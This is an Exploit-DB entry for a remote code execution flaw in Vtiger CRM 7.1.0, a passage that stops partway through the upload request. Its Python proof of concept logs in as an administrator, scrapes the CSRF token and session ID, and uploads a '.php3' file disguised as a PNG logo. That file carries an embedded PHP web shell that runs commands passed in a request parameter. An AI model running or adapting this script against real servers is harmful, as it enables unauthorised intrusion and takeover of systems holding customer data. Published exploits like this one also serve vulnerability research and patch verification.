Exploit-DB #46065
Description: Vtiger CRM 7.1.0 - Remote Code Execution
Type: webapps
Platform: php
Date: 2019-01-02
Author: AkkuS

Exploit:
# Exploit Title: Vtiger CRM 7.1.0 - Remote Code Execution
# Date: 2018-12-27
# Exploit Author: Özkan Mustafa Akkuş (AkkuS)
# Contact: https://pentest.com.tr
# Vendor Homepage: https://www.vtiger.com
# Software Link: https://sourceforge.net/projects/vtigercrm/files/latest/download
# Version: v7.1.0
# Category: Webapps
# Tested on: XAMPP for Linux 5.6.38-0
# Software Description : Vtiger CRM enables sales, support, and marketing teams to
# organize and collaborate to measurably improve customer experiences and business outcomes.

# Description : This application has the vulnerability of uploading files with the extension "php3" in the logo upload field.
# But the uploaded file must be in PNG format and size 150X40.
# We can put PHP code into image source. After you make the extension "php3", the PHP code that we've placed can work.
# Therefore, PHP code can be executed using "<? ?>" Tags in PNG format file.
# ==================================================================
# I have exploited in 2 different ways.
# First one uploads a basic php shell for you and lets you control it through the console.
# Second one uploads the php meterpreter payload to the target site and lets you set this payload.

# PoC:

#!/usr/bin/python
 
import mechanize, sys, cookielib, requests
import colorama, urllib, re, random
from colorama import Fore

def bannerche():
    print '''
 @-------------------------------------------------------------@
 |       Vtiger CRM 7.1.0 - Remote Code Execution Exploit      |
 |              Vulnerability discovered by AkkuS              |
 |               My Blog - https://pentest.com.tr              |
 @-------------------------------------------------------------@
          '''
bannerche()
 
if (len(sys.argv) != 2):
    print "[*] Usage: poc.py <RHOST>"
    exit(0)
 
rhost = sys.argv[1]
UserName = str(raw_input("User Name: ")) # Administrator Username Input
Password = str(raw_input("Password: "))  # Administrator Password Input
 
print(Fore.BLUE + "+ [*] Loging in...")
br = mechanize.Browser()                 # set cookies
br.set_handle_robots(False)
cj = cookielib.LWPCookieJar()
br.set_cookiejar(cj)
 
br.open("http://"+rhost+"/")             # User Access Login
assert br.viewing_html()
br.select_form(nr=0)
br.form['username'] = UserName
br.form['password'] = Password
br.submit()
 
title = br.title()
if title == "Dashboard":                 # Access control
   print (Fore.YELLOW + "+ [*] You're in "+title+" section of the app now")
   print (Fore.GREEN + "+ [*] Login successful")
else:
   print (Fore.RED + "+ [*] User information is incorrect.")
   sys.exit()
##
# Introducing Cookie and CSRF token information
##
check = requests.get("http://"+rhost+"/index.php?module=Vtiger&parent=Settings&view=CompanyDetails&block=8&fieldid=14", cookies=cj)

doc = check.text

finder = re.findall(r'csrfMagicToken = ".*";', doc)
csrf = finder[0].replace('csrfMagicToken = ', '').replace('"','').replace(';var csrfMagicName = __vtrftk;','').strip()
csrf_to_data = str(csrf)
print(Fore.YELLOW + "+ [*] Token = " + csrf_to_data)

x = br._ua_handlers['_cookies'].cookiejar
c = str(x)

sonuc = re.findall(r"([a-fA-F\d]{32})", c)
g = sonuc[0]
v = str(g)
print (Fore.YELLOW + "+ [*] PHPSESSID = " + v)
##
# Random value fetching
##

boundary = ''.join(str(random.randint(0,9)) for _ in xrange(29))
filename = ''.join(random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ[PII_REDACTED]') for i in range(10)) + ".php3"

##
# EXPLOIT
##
post_cookie = {"PHPSESSID": v}
post_headers = {"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
                 "Accept-Language": "en-US,en;q=0.5",
                 "Connection": "close",
                 "Content-Type": "multipart/form-data; boundary=---------------------------"+boundary+""}
Basic_data = "-----------------------------"+boundary+"\r\nContent-Disposition: form-data; name=\"__vtrftk\"\r\n\r\n"+csrf_to_data+"\r\n-----------------------------"+boundary+"\r\nContent-Disposition: form-data; name=\"module\"\r\n\r\nVtiger\r\n-----------------------------"+boundary+"\r\nContent-Disposition: form-data; name=\"parent\"\r\n\r\nSettings\r\n-----------------------------"+boundary+"\r\nContent-Disposition: form-data; name=\"action\"\r\n\r\nCompanyDetailsSave\r\n-----------------------------"+boundary+"\r\nContent-Disposition: form-data; name=\"logo\"; filename=\""+filename+"\"\r\nContent-Type: image/png\r\n\r\n\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR\x00\x00\x00 \x00\x00\x00 \x08\x02\x00\x00\x00\xfc\x18\xed\xa3\x00\x00\x00\tpHYs\x00\x00\x0e\xc4\x00\x00\x0e\xc4\x01\x95+\x0e\x1b\x00\x00\x00`IDATH\x89c\\<?if(isset($_REQUEST['cmd'])){ echo \"<pre>\"; $cmd = ($_REQUEST['cmd']); system($cmd); echo \"</pre>\"; die; }?>X\x80\x81\x81\xc1s^7\x93\xfc\x8f\x8b\xdb~_\xd3}\xaa'\xf7\xf1\xe3\xc9\xbf_\xef\x06|\xb200c\xd9\xb9g\xfd\xd9=\x1b\xce2\x8c\x82Q0\nF\xc1(\x18\x05\xa3`\x14\x8c\x82Q0\n\x86\r\x00\x00\x81\xb2\x1b\x02\x07x\r\x0c\x00\x00\x00\x00IEND\xaeB`\x82\r\n-----------------------------"+boundary+"\r\nContent-Disposition: form-data; name=\"organizationname\"\r\n\r\nvtiger\r\n-----------------------------"+boundary+"\r\nContent-Disposition: form-data; name=\"address\"\r\n\r\n95, 12th Main Road, 3rd Block, Rajajinagar\r\n-----------------------------"+boundary+"\r\nContent-Disposition: form-data; name=\"city\"\r\n\r\nBangalore\r\n-----------------------------"+boundary+"\r\nContent-Disposition: form-data; name=\"state\"\r\n\r\nKarnataka\r\n-----------------------------"+boundary+"\r\nContent-Disposition: form-data; name=\"code\"\r\n\r\n560010\r\n-----------------------------"+boundary+"\r\nContent-Disposition: form-data; name=\"country\"\r\n\r\nIndia\r\n-----------------------------"+boundary+"\r\nContent-Disposition: form-data; name=\"phone\"\r\n\r\n+9[PII_REDACTED]\r\n-----------------------------"+boundary+"\r\nContent-Disposition: form-data; name=\"fax\"\r